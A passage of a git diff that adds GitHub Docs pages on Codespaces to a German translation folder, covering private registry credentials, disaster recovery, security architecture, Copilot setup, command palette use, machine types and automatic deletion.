+Wenn du die Geheimnisse hinzugefügt hast, musst du den Codespace, in dem du dich befindest, möglicherweise anhalten und anschließend neu starten, damit die neuen Umgebungsvariablen an den Container übergeben werden. Weitere Informationen findest du unter [Anhalten oder Beenden eines Codespaces](/codespaces/codespaces-reference/using-the-command-palette-in-codespaces#suspending-or-stopping-a-codespace).
+
+#### Zugreifen auf AWS Elastic Container Registry
+
+Für den Zugriff auf AWS Elastic Container Registry (ECR) kannst du eine AWS-Zugangsschlüssel-ID und einen geheimen Schlüssel angeben, und {% data variables.product.prodname_dotcom %} kann ein Zugriffstoken für dich abrufen und sich in deinem Namen anmelden.
+
+```
+*_CONTAINER_REGISTRY_SERVER = <ECR_URL>
+*_CONTAINER_REGISTRY_USER = <AWS_ACCESS_KEY_ID>
+*_CONTAINER_REGISTRY_PASSWORD = <AWS_SECRET_KEY>
+```
+
+Außerdem musst du sicherstellen, dass du über die entsprechenden AWS-IAM-Berechtigungen verfügst, um den Berechtigungstausch (z. B. `sts:GetServiceBearerToken`) und den ECR-Lesevorgang (entweder `AmazonEC2ContainerRegistryFullAccess` oder `ReadOnlyAccess`) durchzuführen.
+
+Wenn du nicht möchtest, dass GitHub die Anmeldeinformationen in deinem Namen austauscht, kannst du auch ein Autorisierungstoken angeben, das du über die AWS-APIs oder die CLI abrufst.
+
+```
+*_CONTAINER_REGISTRY_SERVER = <ECR_URL>
+*_CONTAINER_REGISTRY_USER = AWS
+*_CONTAINER_REGISTRY_PASSWORD = <TOKEN>
+```
+
+Da diese Token kurzlebig sind und regelmäßig erneuert werden müssen, empfehlen wir, eine Zugriffsschlüssel-ID und ein Geheimnis anzugeben.
+
+Diese Geheimnisse können zwar einen beliebigen Namen haben, solange es sich bei `*_CONTAINER_REGISTRY_SERVER` um eine ECR-URL handelt, aber wir empfehlen die Verwendung von `ECR_CONTAINER_REGISTRY_*` – es sei denn, du arbeitest mit mehreren ECR-Registrierungen.
+
+Weitere Informationen findest du in der [Dokumentation zur Authentifizierung der privaten Registrierung](https://docs.aws.amazon.com/AmazonECR/latest/userguide/registry_auth.html) von AWS ECR.
+
+### Gängige Imageregistrierungsserver
+
+Im Folgenden sind einige der gängigen Imageregistrierungsserver aufgeführt:
+
+- [DockerHub](https://docs.docker.com/engine/reference/commandline/info/) - `https://index.docker.io/v1/`
+- [GitHub Container Registry](/packages/working-with-a-github-packages-registry/working-with-the-container-registry) - `ghcr.io`
+- [Azure Container Registry](https://docs.microsoft.com/azure/container-registry/) - `<registry name>.azurecr.io`
+- [AWS Elastic Container Registry](https://docs.aws.amazon.com/AmazonECR/latest/userguide/Registries.html) - `<aws_account_id>.dkr.ecr.<region>.amazonaws.com`
+- [Google Cloud Container Registry](https://cloud.google.com/container-registry/docs/overview#registries) - `gcr.io` (USA), `eu.gcr.io` (EU), `asia.gcr.io` (Asien)
+
+## Debuggen des Registrierungszugriffs für private Images
+
+Wenn du Probleme hast, ein Image aus einer privaten Imageregistrierung zu pullen, vergewissere dich, dass du `docker login -u <user> -p <password> <server>` mit den Werten der oben definierten Geheimnisse ausführen kannst. Wenn die Anmeldung fehlschlägt, vergewissere dich, dass die Anmeldedaten gültig sind und dass du auf dem Server die geeigneten Berechtigungen hast, um ein Containerimage abzurufen. Wenn die Anmeldung erfolgreich war, vergewissere dich, dass diese Werte in die richtigen {% data variables.product.prodname_github_codespaces %}-Geheimnisse kopiert wurden, entweder auf Benutzer-, Repository- oder Organisationsebene. Versuche es anschließend erneut.
diff --git a/translations/de-DE/content/codespaces/codespaces-reference/disaster-recovery-for-github-codespaces.md b/translations/de-DE/content/codespaces/codespaces-reference/disaster-recovery-for-github-codespaces.md
new file mode 100644
index 0000000000..0f6bc73866
--- /dev/null
+++ b/translations/de-DE/content/codespaces/codespaces-reference/disaster-recovery-for-github-codespaces.md
@@ -0,0 +1,52 @@
+---
+title: Disaster recovery for GitHub Codespaces
+intro: 'This article describes guidance for a disaster recovery scenario, when a whole region experiences an outage due to major natural disaster or widespread service interruption.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Codespaces
+shortTitle: Disaster recovery
+redirect_from:
+  - /codespaces/codespaces-reference/disaster-recovery-for-codespaces
+---
+
+We work hard to make sure that {% data variables.product.prodname_github_codespaces %} is always available to you. However, forces beyond our control sometimes impact the service in ways that can cause unplanned service disruptions.
+
+Although disaster recovery scenarios are rare occurrences, we recommend that you prepare for the possibility that there is an outage of an entire region. If an entire region experiences a service disruption, the locally redundant copies of your data would be temporarily unavailable.
+
+The following guidance provides options on how to handle service disruption to the entire region where your codespace is deployed.
+
+{% note %}
+
+**Note:** You can reduce the potential impact of service-wide outages by pushing to remote repositories frequently.
+
+{% endnote %}
+
+## Option 1: Create a new codespace in another region
+
+In the case of a regional outage, we suggest you recreate your codespace in an unaffected region to continue working. This new codespace will have all of the changes as of your last push to {% data variables.product.prodname_dotcom %}. For information on manually setting another region, see "[Setting your default region for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-region-for-github-codespaces)."
+
+You can optimize recovery time by configuring a `devcontainer.json` in the project's repository, which allows you to define the tools, runtimes, frameworks, editor settings, extensions, and other configuration necessary to restore the development environment automatically. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
+
+## Option 2: Wait for recovery
+
+In this case, no action on your part is required. Know that we are working diligently to restore service availability. 
+
+You can check the current service status on the [Status Dashboard](https://www.githubstatus.com/).
+
+## Option 3: Clone the repository locally or edit in the browser
+
+While {% data variables.product.prodname_github_codespaces %} provides the benefit of a pre-configured developer environmnent, your source code should always be accessible through the repository hosted on {% data variables.product.prodname_dotcom_the_website %}. In the event of a {% data variables.product.prodname_github_codespaces %} outage, you can still clone the repository locally or edit files in the {% data variables.product.company_short %} browser editor. For more information, see "[Editing files](/repositories/working-with-files/managing-files/editing-files)."
+
+While this option does not configure a development environment for you, it will allow you to make changes to your source code as needed while you wait for the service disruption to resolve.
+
+## Option 4: Use the Dev Containers extension and Docker for a local containerized environment
+
+If your repository has a `devcontainer.json`, consider using the [Dev Containers extension](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers) in {% data variables.product.prodname_vscode %} to build and attach to a local development container for your repository. The setup time for this option will vary depending on your local specifications and the complexity of your dev container setup. For more information, see "[Developing inside a container](https://code.visualstudio.com/docs/remote/containers#_quick-start-open-a-git-repository-or-github-pr-in-an-isolated-container-volume)" in the {% data variables.product.prodname_vscode_shortname %} documentation.
+
+{% note %}
+
+**Note:** Be sure your local setup meets the [minimum requirements](https://code.visualstudio.com/docs/remote/containers#_system-requirements) before attempting this option.
+
+{% endnote %}
diff --git a/translations/de-DE/content/codespaces/codespaces-reference/index.md b/translations/de-DE/content/codespaces/codespaces-reference/index.md
new file mode 100644
index 0000000000..dffe586832
--- /dev/null
+++ b/translations/de-DE/content/codespaces/codespaces-reference/index.md
@@ -0,0 +1,21 @@
+---
+title: Verweis
+intro: 'Dieser Abschnitt enthält Verweise, die es dir ermöglichen, erfolgreich mit {% data variables.product.prodname_github_codespaces %} zu arbeiten.'
+versions:
+  fpt: '*'
+  ghec: '*'
+children:
+  - /allowing-your-codespace-to-access-a-private-image-registry
+  - /using-github-copilot-in-github-codespaces
+  - /using-the-github-codespaces-plugin-for-jetbrains
+  - /using-the-vs-code-command-palette-in-codespaces
+  - /security-in-github-codespaces
+  - /disaster-recovery-for-github-codespaces
+ms.openlocfilehash: 87692cd862e791f3e6ffa2be2b07f34c6158e617
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148159197'
+---
+
diff --git a/translations/de-DE/content/codespaces/codespaces-reference/security-in-github-codespaces.md b/translations/de-DE/content/codespaces/codespaces-reference/security-in-github-codespaces.md
new file mode 100644
index 0000000000..c27003a29f
--- /dev/null
+++ b/translations/de-DE/content/codespaces/codespaces-reference/security-in-github-codespaces.md
@@ -0,0 +1,118 @@
+---
+title: Security in GitHub Codespaces
+intro: 'Overview of the {% data variables.product.prodname_github_codespaces %} security architecture, with guidelines to help you maintain security and minimize the risk of attack.'
+miniTocMaxHeadingLevel: 3
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Codespaces
+  - Security
+type: reference
+shortTitle: Security in Codespaces
+redirect_from:
+  - /codespaces/codespaces-reference/security-in-codespaces
+---
+
+## Overview of codespace security
+
+{% data variables.product.prodname_github_codespaces %} is designed to be security hardened by default. Consequently, you will need to ensure that your software development practices do not risk reducing the security posture of your codespace. 
+
+This guide describes the way {% data variables.product.prodname_github_codespaces %} keeps your development environment secure and provides some of the good practices that will help maintain your security as you work. As with any development tool, remember that you should only open and work within repositories you know and trust.
+
+### Environment isolation
+
+{% data variables.product.prodname_github_codespaces %} is designed to keep your codespaces separate from each other, with each using its own virtual machine and network.
+
+#### Isolated virtual machines
+
+Each codespace is hosted on its own newly-built virtual machine (VM). Two codespaces are never co-located on the same VM. 
+
+Every time you restart a codespace, it's deployed to a new VM with the latest available security updates.
+
+#### Isolated networking
+
+Each codespace has its own isolated virtual network. We use firewalls to block incoming connections from the internet and to prevent codespaces from communicating with each other on internal networks. By default, codespaces are allowed to make outbound connections to the internet.
+
+### Authentication
+
+You can connect to a codespace using a web browser or from {% data variables.product.prodname_vscode %}. If you connect from {% data variables.product.prodname_vscode_shortname %}, you are prompted to authenticate with {% data variables.product.product_name %}. 
+
+Every time a codespace is created or restarted, it's assigned a new {% data variables.product.company_short %} token with an automatic expiry period. This period allows you to work in the codespace without needing to reauthenticate during a typical working day, but reduces the chance that you will leave a connection open when you stop using the codespace.
+
+The token's scope will vary depending on the access you have to the repository where the codespace was created:
+
+- **If you have write access to the repository**: The token will be scoped for read/write access to the repository.
+- **If you only have read access to the repository**: The token will only allow the code to be cloned from the source repository. If you attempt to push to a private repo where you only have read access, {% data variables.product.prodname_github_codespaces %} will prompt you to create a personal fork of the repository. The token will then be updated to have read/write access to the new personal fork. 
+- **If you've enabled your codespace to access other repositories**: When a codespace has been granted [access to other repositories](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces), any codespace created from that repository will have read/write tokens scoped to the source repository. In addition, the tokens will also receive read access to other repositories indicated by the user or organization.
+
+An organization's administrators specify which repositories should be considered trusted. An admin can [choose to trust](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces) none, all, or some of the organization's repositories. A codespace can't have greater permissions to access resources than the person who created it, even if the organization administrator has granted access to all users and all repositories.
+
+### Codespace connections
+
+You can connect to your codespace using the TLS encrypted tunnel provided by the {% data variables.product.prodname_github_codespaces %} service. Only the creator of a codespace can connect to a codespace. Connections are authenticated with {% data variables.product.product_name %}.
+
+If you need to allow external access to services running on a codespace, you can enable port forwarding for private or public access.
+
+### Port forwarding
+
+If you need to connect to a service (such as a development web server) running within your codespace, you can configure port forwarding to make the service available on the internet. 
+
+Organization owners can restrict the ability to make forward ports available publicly or within the organization. For more information, see "[Restricting the visibility of forwarded ports](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports)."
+
+**Privately forwarded ports**: Are accessible on the internet, but only the codespace creator can access them, after authenticating to {% data variables.product.product_name %}.
+
+**Publicly forwarded ports within your organization**: Are accessible on the internet, but only to members of the same organization as the codespace, after authenticating to {% data variables.product.product_name %}.
+
+**Publicly forwarded ports**: Are accessible on the internet, and anyone on the internet can access them. No authentication is needed to access public forwarded ports.
+
+All forwarded ports are private by default, which means that you will need to authenticate before you can access the port. Access to a codespace's private forwarded ports is controlled by authentication cookies with a 3-hour expiry period. When the cookie expires, you will need to reauthenticate.
+
+A public forwarded port will automatically revert back to private when you remove and re-add the port, or if you restart the codespace.
+
+You can use the "Ports" panel to configure a port for public or private access, and can stop port forwarding when it's no longer required. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
+
+## Good security practices for your codespaces
+
+Codespaces are designed to be security hardened by default. To help maintain this posture, we recommend that you follow good security practices during your development procedures: 
+
+- As with any development tool, remember that you should only open and work within repositories you know and trust.
+- Before you add new dependencies to the codespace, check whether they are well-maintained, and if they release updates to fix any security vulnerabilities found in their code.
+
+### Using secrets to access sensitive information 
+
+Always use encrypted secrets when you want to use sensitive information (such as access tokens) in a codespace. You can access your secrets as environment variables in the codespace, including from the terminal. For example, you can launch a terminal within your codespace and use `echo $SECRET_NAME ` to see the value of a secret.
+
+The secret values are copied to environment variables whenever the codespace is resumed or created and are also synced when they are changed.
+
+Secrets are not copied into the environment if you don't have write access to the codespace's repository.
+
+For more information on secrets, see:
+- "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)"
+- "[Managing encrypted secrets for your repository and organization for {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces)"
+
+### Working with other people's contributions and repositories
+
+When you create a codespace from a PR branch from a fork, the token in the codespace will vary depending on whether the repository is public or private:
+- For a private repository, the codespace is granted access to both the fork and parent.
+- For a public repository, the codespace will only have access to the fork and opening PRs on the parent.
+
+We also further protect you in these scenarios by not injecting any of your [codespace secrets](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces) into the environment.
+
+### Additional good practices
+
+There are some additional good practices and risks that you should be aware of when using {% data variables.product.prodname_github_codespaces %}. 
+
+#### Understanding a repository's devcontainer.json file
+
+When you create a codespace, if a `devcontainer.json` file is found for your repository, it is parsed and used to configure your codespace. The `devcontainer.json` file can contain powerful features, such as installing third-party extensions and running arbitrary code supplied in a `postCreateCommand`.
+
+For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)."
+
+#### Granting access through features
+
+Certain development features can potentially add risk to your environment. For example, commit signing, secrets injected into environment variables, authenticated registry access, and packages access can all present potential security issues. We recommend that you only grant access to those who need it and adopt a policy of being as restrictive as possible. 
+
+#### Using extensions
+
+Any additional {% data variables.product.prodname_vscode_shortname %} extensions that you've installed can potentially introduce more risk. To help mitigate this risk, ensure that the you only install trusted extensions, and that they are always kept up to date.
diff --git a/translations/de-DE/content/codespaces/codespaces-reference/using-github-copilot-in-github-codespaces.md b/translations/de-DE/content/codespaces/codespaces-reference/using-github-copilot-in-github-codespaces.md
new file mode 100644
index 0000000000..48607d15d9
--- /dev/null
+++ b/translations/de-DE/content/codespaces/codespaces-reference/using-github-copilot-in-github-codespaces.md
@@ -0,0 +1,95 @@
+---
+title: Using GitHub Copilot in GitHub Codespaces
+intro: 'You can use {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_github_codespaces %} by adding the extension.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: reference
+topics:
+  - Codespaces
+  - Copilot
+  - Visual Studio Code
+shortTitle: Copilot in Codespaces
+redirect_from:
+  - /codespaces/codespaces-reference/using-copilot-in-codespaces
+  - /codespaces/codespaces-reference/using-github-copilot-in-codespaces
+---
+
+{% jetbrains %}
+
+{% data reusables.codespaces.codespaces-jetbrains-beta-note %}
+
+{% endjetbrains %}
+
+{% webui %}
+
+## Using {% data variables.product.prodname_copilot %} in the {% data variables.product.prodname_vscode_shortname %} web client
+
+{% data reusables.codespaces.copilot-in-vscode %}
+
+{% endwebui %}
+
+{% vscode %}
+
+## Using {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %}
+
+{% data reusables.codespaces.copilot-in-vscode %}
+
+{% endvscode %}
+
+{% jetbrains %}
+
+## Installing {% data variables.product.prodname_copilot %} in your JetBrains IDE
+
+[{% data variables.product.prodname_copilot %}](https://copilot.github.com/), an AI pair programmer, can be used in any codespace. For more information, see "[About GitHub Copilot](/copilot/overview-of-github-copilot/about-github-copilot)."
+
+To use {% data variables.product.prodname_copilot %} in a codespace in your JetBrains IDE, install the [{% data variables.product.prodname_copilot %} plugin](https://plugins.jetbrains.com/plugin/17718-github-copilot) from within your codespace.
+
+{% note %}
+
+**Note**: You must install the {% data variables.product.prodname_copilot %} plugin each time you create a new codespace.
+
+{% endnote %}
+
+1. In the JetBrains client application, open the Settings (Windows/Linux) or Preferences (Mac) dialog box:
+
+   - **Windows/Linux**: Click **File** and then **Settings** (or press <kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>S</kbd>)
+   - **Mac**: Click **JetBrains Client** in the MacOS menu bar, then click **Preferences** (or press <kbd>command</kbd>+<kbd>,</kbd>)
+
+1. In the left-side menu of the Settings/Preferences dialog box, click **Plugins On Host**. Then click the **Marketplace** tab.
+
+   ![Screenshot of the Marketplace tab for 'Plugins On Host'](/assets/images/help/codespaces/jetbrains-preferences-plugins.png)
+
+1. In the search box, type "copilot" then click the **Install** button for the {% data variables.product.prodname_copilot %} plugin.
+
+   ![Screenshot of the {% data variables.product.prodname_copilot %} plugin](/assets/images/help/codespaces/jetbrains-copilot-plugin.png)
+
+1. Click **Accept** on the "Third-Party Plugins Privacy Note" dialog box.
+1. Click **Restart IDE**.
+
+   ![Screenshot of the {% data variables.product.prodname_copilot %} plugin](/assets/images/help/codespaces/jetbrains-copilot-restart.png)
+ 
+1. Click **Restart** when prompted to confirm that you want to restart the backend IDE that's running remotely. The JetBrains client application will close when you do this.
+1. Open the codespace again from the JetBrains Gateway application. For more information, see "[Using {% data variables.product.prodname_github_codespaces %} in your JetBrains IDE](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide#opening-a-codespace-in-your-jetbrains-ide)."
+1. After your JetBrains IDE has restarted, click the **Tools** menu. Click **{% data variables.product.prodname_copilot %}**, then click **Login to {% data variables.product.prodname_dotcom %}**. 
+
+    ![Screenshot of the JetBrains Tools menu](/assets/images/help/codespaces/jetbrains-tools-menu.png)
+
+1. In the "Sign in to {% data variables.product.prodname_dotcom %}" dialog box, to copy the device code and open the device activation window, click **Copy and Open**.
+
+    ![Screenshot of the device code copy and open](/assets/images/help/copilot/device-code-copy-and-open.png)
+
+1. A device activation window will open in your browser. Paste the device code, then click **Continue**.
+
+   - To paste the code in Windows or Linux, press <kbd>Ctrl</kbd>+<kbd>v</kbd>.
+   - To paste the code in macOS, press <kbd>command</kbd>+<kbd>v</kbd>.
+1. {% data variables.product.prodname_dotcom %} will request the necessary permissions for {% data variables.product.prodname_copilot %}. To approve these permissions, click **Authorize {% data variables.product.prodname_copilot %} Plugin**.
+1. After the permissions have been approved, your JetBrains IDE will show a confirmation. To begin using {% data variables.product.prodname_copilot %}, click **OK**.
+
+   ![Screenshot of the JetBrains IDE permissions confirmation](/assets/images/help/copilot/jetbrains-ide-confirmation.png)
+
+## Further reading
+
+- "[Getting started with GitHub Copilot in a JetBrains IDE](/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-a-jetbrains-ide)"
+
+{% endjetbrains %}
\ No newline at end of file
diff --git a/translations/de-DE/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md b/translations/de-DE/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md
new file mode 100644
index 0000000000..b46863bb7f
--- /dev/null
+++ b/translations/de-DE/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md
@@ -0,0 +1,71 @@
+---
+title: Using the Visual Studio Code Command Palette in GitHub Codespaces
+intro: 'You can use the Command Palette feature of {% data variables.product.prodname_vscode %} to access many commands in {% data variables.product.prodname_github_codespaces %}.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: reference
+topics:
+  - Codespaces
+  - Visual Studio Code
+shortTitle: VS Code Command Palette
+allowTitleToDifferFromFilename: true
+redirect_from:
+  - /codespaces/codespaces-reference/using-the-command-palette-in-codespaces
+---
+
+## About the {% data variables.product.prodname_vscode_command_palette %}
+
+The {% data variables.product.prodname_vscode_command_palette_shortname %} is one of the focal features of {% data variables.product.prodname_vscode %} and is available for you to use in {% data variables.product.prodname_github_codespaces %}. The Command Palette allows you to access many commands for {% data variables.product.prodname_github_codespaces %} and {% data variables.product.prodname_vscode_shortname %}. For more information on using the {% data variables.product.prodname_vscode_command_palette_shortname %}, see "[User Interface](https://code.visualstudio.com/docs/getstarted/userinterface#_command-palette)" in the {% data variables.product.prodname_vscode_shortname %} documentation.
+
+## Accessing the {% data variables.product.prodname_vscode_command_palette_shortname %}
+
+You can access the {% data variables.product.prodname_vscode_command_palette_shortname %} in a number of ways.
+
+- <kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> (Mac) / <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux).
+
+  Note that this command is a reserved keyboard shortcut in Firefox.
+- <kbd>F1</kbd>
+- From the Application Menu, click **View > Command Palette…**.
+
+  ![The application menu](/assets/images/help/codespaces/codespaces-view-menu.png)
+
+## Commands for {% data variables.product.prodname_codespaces %}
+
+To see all commands related to {% data variables.product.prodname_github_codespaces %}, [access the {% data variables.product.prodname_vscode_command_palette_shortname %}](#accessing-the-command-palette), then start typing "Codespaces".
+
+![A list of all commands that relate to {% data variables.product.prodname_github_codespaces %}](/assets/images/help/codespaces/codespaces-command-palette.png)
+
+### Suspending or stopping a codespace
+
+If you add a new secret or change the machine type, you'll have to stop and restart the codespace for it to apply your changes. 
+
+To suspend or stop your codespace's container, [access the {% data variables.product.prodname_vscode_command_palette_shortname %}](#accessing-the-command-palette), then start typing "stop". Select **Codespaces: Stop Current Codespace**.
+
+![Command to stop a codespace](/assets/images/help/codespaces/codespaces-stop.png)
+
+### Adding a predefined dev container configuration
+
+To add a predefined dev container configuration, [access the {% data variables.product.prodname_vscode_command_palette_shortname %}](#accessing-the-command-palette), then start typing "dev container". Select **Codespaces: Add Development Container Configuration Files...**
+
+![Command to add a dev container](/assets/images/help/codespaces/add-prebuilt-container-command.png)
+
+### Rebuilding a codespace
+
+If you add a dev container or edit any of the configuration files (`devcontainer.json` and `Dockerfile`), you'll have to rebuild your codespace for it to apply your changes. 
+
+To rebuild your container, [access the {% data variables.product.prodname_vscode_command_palette_shortname %}](#accessing-the-command-palette), then start typing "rebuild". Select **Codespaces: Rebuild Container**.
+
+![Command to rebuild a codespace](/assets/images/help/codespaces/codespaces-rebuild.png)
+
+### Codespaces logs
+
+You can use the {% data variables.product.prodname_vscode_command_palette_shortname %} to access the codespace creation logs, or you can use it export all logs. 
+
+To retrieve the logs for {% data variables.product.prodname_github_codespaces %}, [access the {% data variables.product.prodname_vscode_command_palette_shortname %}](#accessing-the-command-palette), then start typing "log". Select **Codespaces: Export Logs** to export all logs related to {% data variables.product.prodname_github_codespaces %} or select **Codespaces: View Creation Logs** to view logs related to the setup.
+
+![Command to access logs](/assets/images/help/codespaces/codespaces-logs.png)
+
+## Further reading
+
+- "[Using {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code)"
diff --git a/translations/de-DE/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md b/translations/de-DE/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md
new file mode 100644
index 0000000000..5ee22758aa
--- /dev/null
+++ b/translations/de-DE/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md
@@ -0,0 +1,103 @@
+---
+title: Changing the machine type for your codespace
+shortTitle: Change the machine type
+intro: 'You can change the type of machine that''s running your codespace, so that you''re using resources appropriate for the work you''re doing.'
+versions:
+  fpt: '*'
+  ghec: '*'
+redirect_from:
+  - /codespaces/developing-in-codespaces/changing-the-machine-type-for-your-codespace
+topics:
+  - Codespaces
+type: how_to
+---
+
+## About machine types
+
+{% data reusables.codespaces.codespaces-machine-types %} You can choose an alternative machine type either when you create a codespace or at any time after you've created a codespace. 
+
+For information on choosing a machine type when you create a codespace, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository)."
+
+{% data reusables.codespaces.machine-types-for-unpublished-codespaces %} For more information, see "[Creating a codespace from a template](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template)."
+
+## Changing the machine type
+
+{% note %}
+
+**Note**: {% data reusables.codespaces.codespaces-machine-type-availability %}
+
+{% endnote %}
+
+{% webui %}
+
+{% data reusables.codespaces.your-codespaces-procedure-step %}
+
+   The current machine type for each of your codespaces is displayed.
+
+   !['Your codespaces' list](/assets/images/help/codespaces/your-codespaces-list.png)
+
+{% data reusables.codespaces.ellipsis-settings %}
+1. Click **Change machine type**.
+
+   !['Change machine type' menu option](/assets/images/help/codespaces/change-machine-type-menu-option.png)
+1. If multiple machine types are available for your codespace, choose the type of machine you want to use.
+
+   ![Dialog box showing available machine types to choose](/assets/images/help/codespaces/change-machine-type-choice.png)
+1. Click **Update codespace**. 
+
+{% endwebui %}
+
+{% vscode %}
+
+{% data reusables.codespaces.changing-machine-type-in-vscode %}
+
+{% endvscode %}
+
+{% cli %}
+
+You can use the `gh codespace edit --machine MACHINE-TYPE-NAME` {% data variables.product.prodname_cli %} command to change the machine type of a codespace. To use this command, you'll first need to find out the available machine types for your codespace.
+
+1. To view your list of codespaces, in a terminal, enter the following command.
+   
+   ```
+   gh codespace list
+   ```
+1. Optionally, to find the current machine type for a codespace, enter the following command.
+   
+   ```
+   gh api /user/codespaces/CODESPACE-NAME
+   ```
+
+   Replace `CODESPACE-NAME` with the permanent name of the codespace, for example `octocat-literate-space-parakeet-mld5`. The permanent names are listed under the **NAME** column in the list returned by `gh codespace list`.
+
+   If you're prompted to request the `codespace` scope, follow the instructions in the terminal.
+
+   Details for the current machine are listed under the `machine` field.
+1. To find the available machine types for a codespace, enter the following command.
+   
+   ```
+   gh api /user/codespaces/CODESPACE-NAME/machines
+   ```
+
+   Replace `CODESPACE-NAME` with the permanent name of the codespace, for example `octocat-literate-space-parakeet-mld5`.
+1. To change the machine type for a codespace, enter the following command.
+
+   ```
+   gh codespace edit --machine MACHINE-TYPE-NAME
+   ```
+
+   Replace `MACHINE-TYPE-NAME` with the name of an available machine type for your codespace, for example `standardLinux32gb`. 
+1. Using the arrow keys, navigate to the codespace you want to change, then press <kbd>Enter</kbd>.
+
+{% endcli %}
+
+{% data reusables.codespaces.about-changing-storage-size %}
+
+{% cli %}
+
+## Further reading
+
+- "[Codespaces machines](/rest/codespaces/machines)" in the REST API documentation
+- [`gh codespace edit`](https://cli.github.com/manual/gh_codespace_edit) in the {% data variables.product.prodname_cli %} manual
+
+{% endcli %}
diff --git a/translations/de-DE/content/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces.md b/translations/de-DE/content/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces.md
new file mode 100644
index 0000000000..f0b5bc7897
--- /dev/null
+++ b/translations/de-DE/content/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces.md
@@ -0,0 +1,106 @@
+---
+title: Configuring automatic deletion of your codespaces
+shortTitle: Configure automatic deletion
+intro: 'Inactive codespaces are automatically deleted. You can choose how long your stopped codespaces are retained, up to a maximum of 30 days.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Codespaces
+type: how_to
+---
+
+By default, {% data variables.product.prodname_github_codespaces %} are automatically deleted after they have been stopped and have remained inactive for 30 days.
+
+However, because {% data variables.product.prodname_github_codespaces %} incurs storage charges, you may prefer to reduce the retention period by changing your default period in your personal settings for {% data variables.product.prodname_github_codespaces %}. For more information about storage charges, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#codespaces-pricing)."
+
+{% note %}
+
+**Note**: Whether or not you have set a personal codespace retention period, it's a good idea to get into the habit of deleting codespaces that you no longer need. For more information, see "[Deleting a codespace](/codespaces/developing-in-codespaces/deleting-a-codespace)."
+
+{% endnote %}
+
+Automatic deletion happens irrespective of whether a codespace contains unpushed changes. To prevent automatic deletion of a codespace, just open the codespace again. The retention period is reset every time you connect to a codespace, and the retention countdown restarts when the codespace is stopped.
+
+If a repository belongs to an organization, the organization admin may have set a retention period for the whole organization. If this period is less than the default retention period in your personal settings then the organization retention period will apply to codespaces you create for this repository. For more information, see "[Restricting the retention period for codespaces](/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces)."
+
+Each codespace has its own retention period. You may, therefore, have codespaces with different rentention periods. For example, if:
+* You created a codespace, changed your default retention period, then created another codespace.
+* You created a codespace using {% data variables.product.prodname_cli %} and specified a different retention period.
+* You created a codespace from an organization-owned repository that has a retention period configured for the organization.
+
+{% note %}
+
+**Note**: The retention period is specified in days. A day represents a 24-hour period, beginning at the time of day when you stop a codespace.
+
+{% endnote %}
+
+{% webui %}
+
+## Setting a default retention period for your codespaces
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.codespaces-tab %}
+1. Under "Default retention period", enter the number of days for which you want your codespaces to be retained, by default, after they have been stopped. 
+
+   ![Selecting your retention period](/assets/images/help/codespaces/setting-default-retention.png)
+
+   You can set your default retention period between `0` and `30` days. 
+
+   {% warning %}
+
+   **Warning**: Setting the period to `0` will result in your codespaces being immediately deleted when you stop them, or when they timeout due to inactivity. For more information, see "[Setting your timeout period for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces)."
+
+   {% endwarning %}
+ 
+1. Click **Save**.
+
+When you create a codespace using {% data variables.product.prodname_cli %} you can override this default. If you create a codespace in an organization that specifies a shorter retention period, the organization-level value overrides your personal setting.
+
+If you set a retention period of more than a day, you'll be sent an email notification one day prior to its deletion. 
+
+## Checking the remaining time until autodeletion
+
